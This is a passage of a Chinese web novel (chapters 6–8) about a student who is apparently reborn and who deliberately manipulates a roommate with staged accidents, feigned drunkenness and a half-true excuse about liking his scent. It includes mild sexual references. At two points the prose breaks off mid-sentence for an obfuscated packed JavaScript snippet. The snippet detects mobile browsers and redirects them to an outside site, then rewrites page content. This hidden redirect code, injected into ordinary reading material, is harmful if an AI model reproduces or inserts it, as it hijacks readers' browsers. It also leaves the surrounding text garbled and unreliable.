魏彦挠挠头:“我跟新子回寝室的路上,看见沈哥拿着外套站在图书馆门口,跟他打招呼,结果他拉着我俩,非让我们闻他的衣服。” 陈清棠指尖微捻:“他怎么了?” 魏彦也奇怪:“是啊,他咋了?我们闻了后,他还非得追着问,衣服有没有怪味儿。神神叨叨的。” 陈清棠唇角的笑意犹如春水涟漪般漾开,他抬手挡住嘴,轻咳一声掩饰。 有意思。 魏彦嘀咕了几句,又想起一件事:“哎呀,忘跟你说了,我们打算明天周末聚个餐,就咱一个寝的人,你来不?” 陈清棠琢磨了下:“大概什么时候?” 魏彦:“周六下午的样子,怎么都得下午四五点后吧。我今晚肯定通宵打游戏,明天得中午一两点才起得来床。” 陈清棠浅笑:“我明天有点事,到时候再看吧。” 他没把话说死。 去是要去的,但得是沈鹤邀他去才行。 这时两人的餐都好了,窗口阿姨的叫号声打断了谈话。 上前取了餐,陈清棠跟着魏彦去了沈鹤那一桌。 看见陈清棠时,沈鹤眼里闪过意外,还有几分说不明的情绪。 犹豫两秒,沈鹤朝陈清棠点了下头。 两人对视时,沈鹤的目光一触及收。 像是生怕晚一秒,岩浆就会顺着视线烧过来了似的。 陈清棠很自然地在沈鹤对面坐下。 吃饭期间,魏彦一直在叽叽喳喳地边吃边说话,罗新时不时捧场两句。 沈鹤安静地低头吃饭,看不实在表情。 陈清棠用余光扫了沈鹤一眼,忽然觉得,这顿饭都变得美味了。 上午那件事后,沈鹤第一反应不是反感,或者排斥,而是在意自己外套上的气味难不难闻…… 好耐人寻味的反应啊。 既然沈鹤心里已经被种下了一颗种子,那么,就让他借机发挥一下,让这颗种子成熟吧。 一顿平常的饭,陈清棠吃得津津有味儿。 临走时口罩却忽然掉地上了,陈清棠捡起来闻了闻,口罩已经沾上了饭菜的油荤味儿。 他嫌弃地颦眉,反手给扔了。 这个点正是用餐的高峰期,抬头望去食堂乌泱泱的一片人头。 陈清棠一路上用袖子捂住口鼻,试图隔绝食堂里各种混杂在一起,让他胸口和鼻子都难受的气味。 又把自己尽量往沈鹤身边塞。 只有沈鹤身上的气味是好闻的,会让他很舒服。 沈鹤往外走,偶然一个偏头,发现陈清棠正紧跟在他身边。 说不明地,沈鹤心头一跳。 他悄默声地往旁边挪,试图跟陈清棠拉开距离。 但很快,因为人群的拥挤,两人又贴在了一块儿。 反复几次后,沈鹤放弃了。 直到上了自动扶梯,脱离了人群,沈鹤紧绷的脊背才稍微松懈。 屏住的那口气刚散开,后脖颈忽然轻拂过一阵风。 微热的。 像是被什么凑近轻嗅了一口。 不知名的痒意从那块皮肤漫散开,浸入骨髓,浑身的汗毛都竖了起来。 沈鹤的双手下意识紧握,却没有回头。 他知道身后是陈清棠。 沈鹤不动声色地往旁边挪开一小步。 陈清棠把他的一系列微妙的动作都看在眼里,唇角勾起一个撩人的笑。 他故意凑近沈鹤的耳边,压低声,说了句将沈鹤的心搅扰得更乱的话: “你身上好香啊沈鹤。” 6. 第 6 章 从食堂出来,陈清棠接到一个电话。 房东打的,说明天是他租房的最后期限,让他把东西都记得搬走。 那个房子是陈清棠上学期租的,租了两个季度,这学期他临时搬进了沈鹤寝室,就没续租。 屋里还放着好些东西呢。 明天再收拾的话,估计会来不及。 陈清棠索性现在就回租房收拾,晚上就不在寝室住了。 等陈清棠走了后,沈鹤跟魏彦他们去了趟学校的大超市,买了点零食和日用品。 一路上魏彦总是嘻嘻哈哈的,跟罗新一来一回的聊得很嗨。 只有沈鹤,一言不发。 快到寝室楼下,魏彦一转身,瞧见沈鹤还跟在身后:“沈哥,你不回家啊?今天想住寝室?” 沈鹤微怔,抬头看才发现已经到了公寓楼。 沈鹤:“不是。” 魏彦眯起眼:“你怎么了?不太对劲儿啊你。” 沈鹤没说话,盯着他看,看了几秒忽然上前两步,把头凑近魏彦的脖子。 然后鼻翼轻轻翕动,嗅了下。 反应过来沈鹤做了什么,魏彦面目一瞬变得狰狞,鸡皮疙瘩都起来了。 要不是这人是沈鹤,他早就本能反应地给对方一个过肩摔了。 沈鹤退回去,对他说了句:“魏彦你身上好香。” 魏彦:“……” 魏彦跟见鬼似的,扯过旁边的罗新挡在自己面前:“别,别搞!都是兄弟伙!” 罗新也二丈和尚摸不着头脑。 这时沈鹤看了看罗新,又上前两步凑过去,低头在罗新身上闻了几下。 罗新浑身僵硬,满脸通红地站在那里。 沈鹤又退回去,对他也说了句:“罗新你好香。” 罗新低着头羞涩:“……沈哥别这样,我害怕。” 魏彦猫着腰,从罗新身后探出半个脑袋:“不是,沈哥你这是拿兄弟伙开涮,寻开心呢?” 沈鹤抿唇,很认真地说:“我在模拟。” 沈鹤想通过模拟陈清棠的行为、语言,去思考明白,陈清棠到底在想什么。 试图这样去揣摩陈清棠的动机,目的,还有心情。 如果前几次是错觉,陈清棠上课抱着他的外套,也还可以说是他睡迷糊了,那刚才的事—— 就让沈鹤确定了,陈清棠真的在闻他。 为什么? 魏彦:“……那你思考出什么了?” 沈鹤静默片刻,摇摇头。 魏彦啧了声:“哥,你有啥事跟兄弟们说,我俩看看能不能帮上忙,给你解决了。” 公寓楼下已经亮起了路灯,昏黄的光洒在沈鹤俊气的侧脸上,很久后他才开口: “如果有个人闻你,还跟你说,你身上好香,他是想干什么,为什么这么做。” 魏彦眉头一耸:“吻你?耍流氓?” 沈鹤纠正:“不是,是闻,闻你身上的气味。” 魏彦了然地点点头,摸着下巴开始思索。 罗新也板起脸,一副认真帮忙解决问题的样子。 魏彦沉吟片刻:“我觉得吧,他肯定是对你意图不轨。” 沈鹤似乎不解:“意图不轨?” 魏彦重重点头:“对。你好香啊,你的手好小啊,你看起来好软啊,我能摸摸吗,只抱一下,我不进去就蹭蹭,熟悉吗这些话?” 渣男泡妞的几件套,循循善诱,一步步突破女孩子的底线。 沈鹤深眉微蹙:“不熟悉。” 但直觉不是什么好话。 魏彦非常笃定地说:“你不觉得这种话很暧昧吗?带有很明显的性.暗示意味儿,听我的,对方绝对是想睡你!” 沈鹤毫不犹豫地反驳:“不可能。” 绝对不是。 沈鹤怎么会不懂这种话很暧昧? 就是因为太暧昧,但又同他感知到的陈清棠相矛盾,所以他才会搞不明白。 从两人认识到现在,虽然时间不长,但沈鹤从来没在陈清棠身上,感受到过同其他追求者一样,那种让人不舒服的目的性。 而且跟陈清棠之间,一直都是他主动的。 是他主动加的陈清棠微信,主动去跟陈清棠搭话,上课主动给陈清棠占座,主动靠近他。 陈清棠从头到尾,都清清白白。 魏彦脸一皱巴:“怎么就不可能了?你是不是对那个人有什么滤镜?” “话说,那人到底谁啊,我看看谁吃了豹子胆了,敢调戏咱沈哥?” 沈鹤却不再过多透露,只低着头说:“我回家了。明天见。” 魏彦看着他的背影,忽然想起什么,冲沈鹤喊:“明天晚上聚会!别忘了啊!” 他们之前就约好的,周末几人聚餐。 沈鹤没回头,背对他们抬起胳膊挥了挥。 晚上十一点 夜已经沉了,一向作息规整的沈鹤,破天荒地还没睡。 睡不着。 沈鹤已经在书房,写了一个多小时的毛笔字了。 一般他心不静,心情起伏的时候,就会选择练字。 手腕悬空操纵毛笔,需要集中精神,一撇一捺的勾画也需要融入百分百的专注力。 这样写出的字才最优雅好看。 沈鹤写着写着,表情变得古怪。 ……因为他才发现,自己写了一整张宣纸的‘香’字。 沈鹤轻吸一口气,索性把笔一放。 不写了。 既然这么在意,那就去问一问。 直接问本人。 他沈鹤坦坦荡荡的,没什么不好问的。 如果是别人做出这种不清不楚的暧昧举动,沈鹤会选择直接远离。 但陈清棠不一样。 具体哪里不一样,沈鹤也说不上来。 大概是那天的辩论赛上,那种同频共振给他的感觉,实在太好了,前所未有。 — 陈清棠一觉睡到了中午,摸起手机看了眼,下午三点了。 他深吸一口气,趁着那股劲儿,一个翻腾从床上弹了起来。 再不起就来不及了。 一边洗漱一边看看手机。 楚希上午就给他发了消息:真不要我帮忙? 陈清棠单手刷牙,单手打字:嗯呐 楚希秒回:行呗,如果沈鹤没来帮你搬家,跟我说一声 楚希:我看看笑话,顺便纡尊降贵地给你搭个手 陈清棠:不存在,别期待 [微笑] 又切出聊天框,打开微信运动看。 沈鹤的运动步数是58,而魏彦跟罗新的微信步数是个位数。 也就是,他们都还没出门。 洗漱完后,陈清棠接到了房东的催促电话,挂了电话后,他把东西都用几个大箱子装了起来。 等一切弄完,已经下午五点多。 再看微信步数,魏彦跟罗新已经有小几千步。 这两人应该已经出门了。 而沈鹤的微信步数还在一百内。 为了保险起见,陈清棠给魏彦发了消息。 陈清棠:你们是出去了吗,我忘了带寝室钥匙 魏彦:啊对,就昨天跟你说的聚餐的事儿,我跟新子已经快到了,沈哥还在家没出发 看到这条回信,陈清棠心里就有底了。 魏彦:你忙完没,要来不? 陈清棠:还没,你们玩儿得开心 [太阳] 看了眼外面阴沉沉的天,隔着窗户都能听见淅淅沥沥的雨声。 这个季节下的是雨,却不是雪,说明气温在迅速回暖。 而且这雨,完全是按照天气预报下的,分毫不差地在陈清棠的计划中。 陈清棠挑了件白色的长款羽绒服,配上天蓝色的毛绒围巾,就这么搬着箱子下了楼。 为了方便沈鹤能认出他,甚至连口罩都没戴。 他牺牲可大了。 搬了几趟后,终于把东西都搬到了楼底。 然后陈清棠就站在屋檐下开始等。 沈鹤也住在这个小区,不过是对面那栋楼,这件事陈清棠早就知道。 他在等沈鹤下楼。 雨小了些,细密的水珠顺着风卷过来,落在陈清棠柔软的栗色头发上,还有浓密的睫毛上。 陈清棠拉了拉围巾,藏住半边脸。 很快,他看见对面楼里有个高大的人影走了出来。 今天沈鹤也穿了件长款羽绒服,不过是黑色的。 别人穿这种盖住腿的长款衣服,怎么都会显矮,还显土,沈鹤却因为体态和气质极佳,硬是穿出了一种高级的感觉。 他身材欣长,脊背挺直,往那一站,就像一棵雪山上的亭亭松柏。 陈清棠欣赏了几眼,回身费力地抱起自己的箱子,艰难地往雨里走。 小区出口只有那么一个。 两人距离越来越近。 相隔十米多时,陈清棠余光瞥见,沈鹤脚步明显顿住了。 他就当没看见沈鹤,继续抱着箱子往前走。 相隔三米多时,两人已经避无可避地打了照面。 陈清棠恰到好处地露出一点微讶。 沈鹤先打了招呼:“好巧。” 陈清棠浅笑,漆黑干净的眸子隔着雨雾看向他:“是去聚餐?魏彦昨天跟我说了。” 沈鹤淡淡地嗯了声。 陈清棠却捕捉到了他眼底的不自在,还有余光扫到自己抱着箱子时,那只微微动了下的手臂。 陈清棠挑眉:“那我先走了?东西太重,就不跟你说话了。” 沈鹤嘴唇翕动,似乎要说什么,但最终只是点了下头。 陈清棠走出两步,忽然轻轻啊了声,手配合着一松,沉重的箱子落到了地上。 咚地好响一声。 沈鹤大步上前:“没事吧。” 陈清棠把手摊开,吹了吹发红的掌心:“有点疼。” 沈鹤主动弯腰抱起那个箱子:“现在雨下大了,我家就在B栋,如果没有不方便,东西可以先放在我家。后面我跟魏彦他们一起帮你搬回寝室。” 陈清棠眼底压着不明显的笑意:“可以吗?我那边还有几个箱子” 他抬手一指。 沈鹤:“嗯。” 陈清棠感激道:“谢谢。” 他小跑回去,挑了一个比较小的箱子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800736|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着。 两人一前一后地进了楼里,一路无话,在乘电梯时,也只是安静地待在一起。 气氛闷得能憋死一打蚊子。 陈清棠有时候还是挺傲的。 比如沈鹤不跟他说话,他就也不跟沈鹤说话。 好像他跟沈鹤之间,谁多说了句话,就是输了似的。 就像上辈子,沈鹤不先说喜欢他,他也绝口不说喜欢沈鹤。 就算爱得如痴如醉,也要把自己的爱意都藏起来。 好像被沈鹤看见他的爱,他就输了,就矮沈鹤一截。 很快,电梯到了,开门后两人进屋。 沈鹤抱着箱子往书房走:“暂时放这屋,这屋比较空。” 书房里就两面满满当当的书架,外加一张桌子一把椅子,还剩下半间屋都是空着的。 陈清棠打量了几眼,心说这个人的房间布局爱好,原来从大学时就这样了。 就这装潢、布置,跟上辈子他们婚后的书房一模一样。 走的极简风——极其简单风。 两人又下楼一趟,才把箱子全部都搬了上来。 刚放好,沈鹤就接到了室友的电话。 魏彦:“到哪儿了呢?我跟新子已经在店里了,但是要等座位。” 沈鹤:“遇到陈清棠了,他在搬家,我帮了把手,刚忙完。” 魏彦:“啊,那这不挺巧的,你带他一起来呗,咱寝就算齐了。” 沈鹤偏头看了眼,此时陈清棠正立在书桌旁,微微弯腰,抿起唇很认真地在看他写的毛笔字。 窗外的光打进来,把男生清俊的侧脸勾勒得温柔,白皙的脖颈修长,细碎的发丝优雅地垂在额前,他看起来像只高贵漂亮的缅因猫。 沈鹤说了句好,挂断了电话。 像生怕打扰了什么似的,沈鹤放轻了脚步走过去:“在看什么。” 陈清棠伸出指尖,轻轻摩挲着纸上的毛笔字:“写得很好。” 沈鹤:“一般。” 陈清棠浅笑:“谦虚了。我也稍微懂一点的,虽然不多。” 沈鹤有些意外:“你也懂?” 陈清棠挑眉,微扬的尾音是他藏不住的小骄傲:“嗯~介意我写两个字吗?” 沈鹤主动拿起笔,沾了墨水递给他。 陈清棠握着笔,摆好姿势,洋洋洒洒地挥了两个字——沈鹤。 沈鹤就安静地站在旁边看:“你这不算是稍微懂一点。” 再抬头望向陈清棠时,沈鹤的眸色多了几分欣赏:“你很精通。” 陈清棠如果有尾巴,此刻已经翘得高高的了:“一般。” 沈鹤的爷爷,除了是中医大家外,还是书法大家,沈鹤从小就耳濡目染,跟着爷爷学习书法。 不是吹的,沈鹤的书法水平也是国家级的,被他夸精通,任何人都可以骄傲到上天。 沈鹤:“能再写两个字吗,你写得很好看。” 他的字并不比陈清棠差,但两人字的风格,完全是南辕北辙。 沈鹤的字比较沉静,锋芒内敛却又豪气外放。 看他的字,就好像看见祖国绵延不绝的高山,奔滔不息的大江,大气磅礴,宏伟壮阔。 而陈清棠的字,温和柔软,小家亭亭,让人感觉好像心脏有一股山间溪水潺潺而过,很舒服。 陈清棠歪头思考两秒,提笔写下了又两个字。 娓娓收笔后,他余光忽然看向旁边被写过的宣纸,佯装疑惑地打量:“香?你写的?为什么写了那么多遍?” 这是昨晚沈鹤写的毛笔字。 昨晚那种思绪混乱,像是怎么都解不出一道数学题的感觉,又涌了上来。 沈鹤唇瓣翕动两下。 陈清棠:“嗯?” 这人想跟他说什么? 对上陈清棠似笑非笑的眸子,沈鹤到舌尖的话忽然就咽了回去。 最终沈鹤别开脸看向一旁,他就那样微低着头,柔光也没能瓦解掉他侧脸线条的僵硬。 陈清棠眼里漾起微不可见的笑意,那是高位者胜券在握的自得。 昨晚他故意凑在沈鹤耳边,说了那句暧昧的话 像是在沈鹤心里轻轻放飞了一只蝴蝶。 刚才进屋后,看到宣纸上那么多个‘香’字,陈清棠就知道,他很成功。 那只蝴蝶轻轻扇动了下翅膀,彼岸的沈鹤,却因此陷入了混乱。 沈鹤的心乱了。 乱吧,乱了好,越乱,他在沈鹤心里留下的痕迹才越深刻。 再乱一点吧。 乱到无法忍受,乱到不得不向他开口寻求答案,就像溺水的人,拼命想要攀住一块浮木。 他要再加一把火,破开沈鹤所有伪饰的平静。 陈清棠轻声引诱:“你刚刚想说什么?” 沈鹤错开他的目光:“没。” 陈清棠身子前倾,追着他的视线。 沈鹤身后就是墙,他避无可避,只能垂下眼不看面前的人。 耳后最敏感的一块皮肤,已经漫上了绯红,沈鹤却不自知。 陈清棠咬字缓慢,语气温和,却是无形中的步步紧逼: “你想说什么?说出来……” 7. 第 7 章 这时,电话铃再次响起。 陈清棠顿了下,眼底的笑意如烈阳下的雪,瞬间消退得一干二净。 谁啊,打扰他好事。 明明沈鹤都快说了。 陈清棠刚才有多期待,现在就有多失落。 只有把这件事说开了,解开这个结,才好进行下一步。 片刻后,听见沈鹤已经讲完电话,陈清棠随意问了句:“魏彦打来的?怎么了?” 沈鹤低头收拾书桌,把毛笔放回原位:“他说外面雨大了,让我多拿把伞,他们出门没带伞。” 众所周知,人在尴尬或者慌乱时,会忽然很忙。 陈清棠就看着他这里摸一下,那里摸一下,压着笑:“哦,那我们快去吧。” 两人出了门,然后叫了辆车。 沈鹤首先一步坐到了副驾驶座上。 那种刻意保持距离的意思很明显。 陈清棠坐在后座,靠在车门上,单手撑着脑袋,视线越过座椅直勾勾地盯着沈鹤。 这件事要快点挑明,否则沈鹤一直这样不痛不痒地跟他保持距离,也太拖进度了。 陈清棠可没那么多耐心。 那就再加把火吧。 聚餐是个好机会啊,喝点酒,很容易就上头。 情绪起伏也会变得比平时更强烈。 聚餐的地点是在一家烤肉店,比较高档,每桌客人都是私人包厢。 这倒是让陈清棠松了口气。 主要是他的鼻子太敏感娇气了 如果是那种大家都挤在小桌上,一桌接一桌挨得很近的烤肉店,陈清棠估计得被各种混杂的味道熏晕。 包厢里人少,气味儿会干净些,而且可以开窗,就好很多。 陈清棠跟沈鹤到的时候,魏彦同罗新已经烤上肉了,隔老远都闻到了香,蘸料也调好了,但还没动筷。 魏彦一瞅他俩进门,赶忙招呼:“快快!就等你俩来了咱开吃,我都饿慌了!” 沈鹤看了眼剩下排坐在一起的两个空位,站在门口没有动:“彦子,卫生间在哪儿。” 魏彦忙着翻烤肉,抬手一指:“你往右直走,穿过一个拐角,就能看到厕所的标志。” 沈鹤没说话,只是看着他。 魏彦回头对上沈鹤沉和的眸子,搓搓手:“那我领你过去。赶紧的,回来就能吃了!” 昨晚通宵打游戏,今天一觉睡到下午三点多,饿一天了,就指着这一顿呢。 两人走后,陈清棠视线一扫桌面,只放着小山叠高的盘子,里面装的都是肉:“没有酒吗?” 罗新像个乖宝宝,啊了声惊讶地抬头看他:“要喝酒吗?” 陈清棠在他对面坐下:“也许他俩想喝呢。” 罗新:“有道理,我去拿几瓶。” 陈清棠拿纸巾擦拭餐具,浅淡地勾起一个笑。 酒是要喝的。 起码在沈鹤眼里,他今天是要喝醉的,要醉得神志不清的。 有些事,借着醉酒的幌子,才好发挥。 如果没发挥好,醒来后,还可以用喝醉了去赖掉。 — 魏彦和沈鹤一前一后出了包厢。 魏彦走在前面:“等会儿看看还有没有喜欢吃的,再拿点回去。” 自助烤肉店都是随便拿,能吃完就好。 沈鹤忽然抓住他胳膊。 魏彦回头:“咋了?” 沈鹤看着他:“回去换下座位,你跟陈清棠坐。” 很奇怪,只要一靠近陈清棠,沈鹤就会莫名其妙陷入混乱,思维、情绪,都像缠绕成团的麻线。 沈鹤以前从没有过这种情况,他处理不来这种混乱的感觉,只能本能地暂时避开。 魏彦打量他几眼:“行。” 他这回明白沈鹤为啥要单独叫他出来了。 但魏彦这个人有个优点,那就是从不多事儿,也不多嘴。 反正人有自己的理由,问那么多做啥。 两人回到包厢时,桌上多了几瓶酒。 魏彦很自然地开盖,一人倒了一大杯:“不喝酒算什么聚餐,都喝!” 沈鹤淡淡地:“我不喝。” 总要留个清醒的。 魏彦却揪着他不依不饶:“不行啊!咱兄弟们一个寒假没聚了,今天必须喝爽快!” 沈鹤端起酒杯:“那就喝一杯。” 魏彦酌情放过了他:“也行,你得喝完啊,我看着你。” 众人碰了个响亮的杯。 魏彦闷完一口酒,忽然贼兮兮的说:“沈哥,我跟新子来的路上,看见附近有一家那啥的店,等会儿咱一起去进点货呗。” 沈鹤:“什么店?” 魏彦诡异地笑了起来,却不回答 又贼溜溜地望向罗新,两人隔空飞快交换了一个眼神。 沈鹤也看向罗新。 罗新脸都红透了,谁也不敢看,眨巴着眼睛,捧着一块水果小口小口吃着。 魏彦啧了声:“就那种店,24小时营业。” 沈鹤不再理他,懒得打谜语。 陈清棠在旁边饶有兴趣地听着,他早就猜出来了,但他不说。 他想看沈鹤会有什么反应。 没人捧场,魏彦自己耐不住性子了,一拍桌子,压低声:“成人用品店~” 沈鹤手里的勺子没拿稳,叮的一声落在了碗里。 魏彦:“我上学期的杯子放寝室忘拿回去了,一个寒假过去,感觉好脏,细菌好多,我想买个新的。” 他下巴一扬:“咱四个等会儿一起去呗。我还没买过这种线下的店,脸皮薄。” 沈鹤语气冷了几分:“我看你脸皮比墙拐都厚。” 如果灯光够亮,就能发现沈鹤耳后的皮肤已经红了。 这种事其实在男生宿舍很平常,以前沈鹤也不是没跟他们聊过,甚至聊的时候,沈鹤是最淡定泰然的一个。 就好像只是在讨论外面的天气。 但今天,沈鹤有点反常,他余光扫了眼陈清棠,又很快敛回来。 这个隐秘的小动作谁也没发现。 除了陈清棠。 魏彦还要说什么,沈鹤眼神压迫他:“吃饭。不要在外面说这些不三不四的。” 魏彦低头偷笑,这就不三不四了? 后面大家又聊了点别的,席间喝了很多酒。 陈清棠也装模作样地喝了点,让自己刚好染上酒气的程度。 等酒喝得差不多了,魏彦的胆量也起来了。 他拍着陈清棠的肩,开始醉醺醺地倒沈鹤的料:“小陈我跟你说……你知道沈哥在寝室有个外号吗?” 陈清棠挑起眼尾,看了看沈鹤:“什么外号?” 沈鹤也望着魏彦,此时他还没意识到事情的重要性。 魏彦哈哈着拍了两下桌子:“忍者~素食忍者哥~” 陈清棠:“??为什么。” 魏彦又看罗新,两人都偷着乐。 罗新喝醉后,也不像平时那么害羞了,甚至可以说变得大胆了。 他主动说:“因为有次彦子在买杯子的时候,彦子说他是肉食系,没肉会死。” “沈哥就问什么是肉食系,彦子说,就是那方面欲望旺盛,每天都要做传统手工,或者进行人类原始的繁衍行为,一天不做就憋得难受。” 陈清棠逐渐明白过来了。 沈鹤也似乎想起什么,把筷子一放,警告式的:“罗新,别说了。” 罗新却咯咯地乐,看得出他是真醉了。 话匣子一开,稀里哗啦什么都往外倒:“于是沈哥就说,他很少做传统手工,每个月才一两次,对那方面需求很低。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800737|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “然后沈哥问彦子,他这算是什么系,彦子说他是忍者系,后来我和彦子私下里都叫他忍者哥哈哈哈哈哈……” 陈清棠听完也笑了,笑得胸膛轻颤。 他笑是因为,屁的忍者。 沈鹤那方面需求有多重,他是最清楚的。 沈鹤是个古板、守规矩的人,上辈子婚后,跟他约定每周一就好,说这样是最健康合理的性.生活。 一开始陈清棠还以为自己要过苦日子了。 一周一次哪里够? 感觉他的身体都没得到充足的抚慰,强盛的欲.望也无法被安抚。 结果谁知道,沈鹤每次都从晚上八点开始折腾他,一直到凌晨四点。 第二天早上陈清棠根本起不来,打眼一望,满地都是使用过的小孩儿嗝屁袋,差点两眼一翻昏死过去。 一周一次,但一次抵别人十次。 有次陈清棠实在受不了了,红着眼求饶,眼里都出泪了 但沈鹤只是亲亲他,低哑着嗓音说:“抱歉,但我还要一会儿,再坚持下……抱歉。” 会道歉,但不停。 就这?忍者? 陈清棠笑着笑着,说不明地变成了哂笑。 而坐在对面的沈鹤,正平静地翻着锅里的烤肉。 等笑完了,罗新和魏彦还要说什么,沈鹤只凝着一双深目,轻飘飘地看了他们一眼。 两人忽然心头咯噔一下。 再加上一阵冷风从开着的窗户卷进来,顿时脑子清醒了些,赶忙把嘴巴闭得严严实实的。 这顿饭就在沉默中吃完了。 回去的时候,四个人打了个车。 中途路过魏彦说的那家店,他特意让司机停住,然后拖着不情不愿的罗新,下车进货去了。 司机也趁机走开上厕所。 车上就剩坐在后排的沈鹤跟陈清棠两个人。 陈清棠正脑袋靠着车窗,半张脸窝在毛软的围巾里打瞌睡。 沈鹤余光看他一眼,不自觉往旁边挪了点,想拉开两人的距离。 陈清棠忽然轻哼一声,身子动了动,整个人很自然地朝沈鹤这边歪过来,把头靠在了他的肩头。 沈鹤双手放在膝盖上,坐姿端正,脊背变得僵硬。 陈清棠又没动静了,那双漂亮的眼睛安静地闭着,偶尔窗外其他车的照光闪过,男生秀气的眉心会无意识耸动下。 咔嚓一声,沈鹤掰响了自己食指的骨节。 片刻后,他试探地用右手去推陈清棠,想把人推到靠着窗户那边。 但刚推动一点,陈清棠又歪了上来。 沈鹤轻吸一口气。 这样不行。 他狠心地用了点力,把陈清棠推出了半臂远。 这次陈清棠喉咙里发出呢喃的一声,缓慢地睁开了睡得迷蒙的双眼。 沈鹤把手收回来,端坐着望着前方,目不斜视:“你醉了,靠着窗户睡吧。” 陈清棠一点一点歪了头,语气困惑:“不能靠着你吗?” 沈鹤拿余光晃了眼他:“靠窗吧。稳当。” 陈清棠摇摇头,说话也跟醉得厉害似的,慢吞吞地无力:“想靠着你,车里气味真难闻,我很难受,只有你好香……” 车窗外一闪而过的光线,照亮了沈鹤被黑暗掩饰住的绯色耳朵。 还有他一瞬僵化的侧脸。 陈清棠眯起眼,缓缓凑近他,像条按照计划一步步靠近自己猎物的蛇。 直到鼻尖快要贴近沈鹤的颈窝,他才将将停住,然后像小兔子般,轻轻耸动鼻翼嗅了嗅。 温热的气息羽毛般扫过脖颈,好像有细密的痒渗入骨髓,一路直蹿后脊梁,痒到了人心底。 沈鹤浑身骤然紧绷。 陈清棠轻呼一口气,醉得放纵:“你好香啊沈鹤……” 8. 第 8 章 男生还在轻嗅,清浅的呼吸声喷在耳边。 沈鹤双手攥紧,忽然一转身,飞快地把陈清棠推开。 两人变成了面对面坐着。 视线碰撞、纠缠,沈鹤不合时宜地想起了魏彦说的那句话—— “他绝对是想睡你,对你意图不轨。” 胸腔里有什么东西在汹涌着,澎湃着,在酒精的发酵下,被成倍地放大,像发潮的海水般横冲直撞。 沈鹤唇瓣翕动,似乎就要说出什么。 但箭在离弦的最后一刻,又硬生生刹住了。 沈鹤说不出。 说什么?难道要他问陈清棠“你是不是想睡我”? 不能说。 说了两人就都没有退路了。 他并不想跟陈清棠闹僵,或者变得尴尬。 两人无声对望,让人心痒难耐的莫名气氛,像是阴暗洞穴里疯狂生长的滕蔓,很快爬满了这个狭小的空间,将两人密不透风地笼罩在其中。 陈清棠把他的反应尽收眼底,嘴角的笑意隐没在阴影里。 这个人,明明话都到嘴边了,还能再憋回去? 行,那他改变下策略。 陈清棠再抬眼时,眼底是不理解的委屈,透着被酒意熏染后湿漉漉的水汽:“你推我做什么?” 沈鹤干巴巴地:“太近了。” 陈清棠放缓语调,本意是把醉态做足了,却因此嗓音流转间,多了几分勾人的暧昧: “你身上很好闻,我想跟你近一点……近一点,我舒服些……” 沈鹤呼吸都是屏住的:“别这样。” 陈清棠一只手撑在两人的中间,身子前倾俯过去:“沈鹤,你喷的什么香水啊?” 沈鹤的背已经抵着车门了,他退无可退。 只能别开脸,嗓音沉沉:“我不喷香水。” 陈清棠轻声细语:“可是你好好闻……我的鼻子敏感,又有鼻炎,受不了很多气味,你是特例。” “车里难闻到让我头昏,只有靠近你才舒服些……” 这番话宛如一颗投入平静湖面的石子,四两拨千斤,在沈鹤心里激起了一圈很微小、却让人无法忽视的水花。 沈鹤忽然意识到什么,表情一瞬顿住。 陈清棠轻轻牵住沈鹤的衣角:“只有你是好闻的,你真好闻……真的没喷香水吗……” 沈鹤嗓音艰涩:“所以你,你之前闻我……” 陈清棠:“嗯?啊,是啊。你发现了啊?” “我每次忘了戴口罩,就会靠你近一点,你好香,你能盖住别的气味,让我的鼻子能不那么难受……” “我一直想问你用的什么香水。” 这个理由虽然有一半是事实,比如陈清棠真的对沈鹤身上的气味有依赖性、很喜欢,但别人听起来确实是有点扯。 总之先安上,看看沈鹤会不会信。 如果沈鹤不信,再编别的。 这一瞬,沈鹤的表情五颜六色的,‘原来如此’中夹杂着-误解别人后的难堪。 还有点说不明的愧疚,像一尾游慢了被逮住的小鱼,不太明显地暴露了出来。 所以陈清棠闻他,只是以为他喷了香水,觉得他好闻,想问问香水的牌子…… 陈清棠嘴角压着微不可见的笑意:“怎么了?” 看来是信了。 沈鹤嘴唇动了动,就那样复杂地看着陈清棠,没说出话来。 耳朵却是更红了。 片刻,沈鹤听见男生忽然轻轻啊了声,随后眼波流转一瞬,无辜又受伤地看着他: “我明白了,你是不是以为,我是故意耍心机接近你?” 为了不给沈鹤反应的时间,陈清棠直接倒打一耙。 沈鹤机械地看向一旁。 陈清棠身子压过去:“是不是?你是不是还以为,我对你意图不轨?” 他将沈鹤逼进窄小的空间,让他无处喘息,把这个人的思绪搅得更乱。 沈鹤没回答,但呼吸已经开始短促。 陈清棠追着他的目光强行对视:“不说话?你知道自己现在什么表情吗?” 沈鹤轻吸一口气,索性闭上眼什么也不看。 也不让陈清棠探索他眼底的情绪。 陈清棠嘴角漾起一个恶劣的笑,目光从上到下,一寸寸赤.裸地审判沈鹤,欣赏着这个男人竭力维持平静的模样: “你虽然闭着眼睛,但呼吸不稳,说明你在紧张。” “我每说一句话,你的手就握紧一分,说明我每句话都很对。” “即便这样,你还是不出声,说明你此刻不知道怎么反驳……” 沈鹤被杀得丢盔卸甲,在陈清棠面前,他仿若完全赤.裸。 胸腔里满满涨涨的,像是滚烫的岩浆在涌动,马上就要破膛而出。 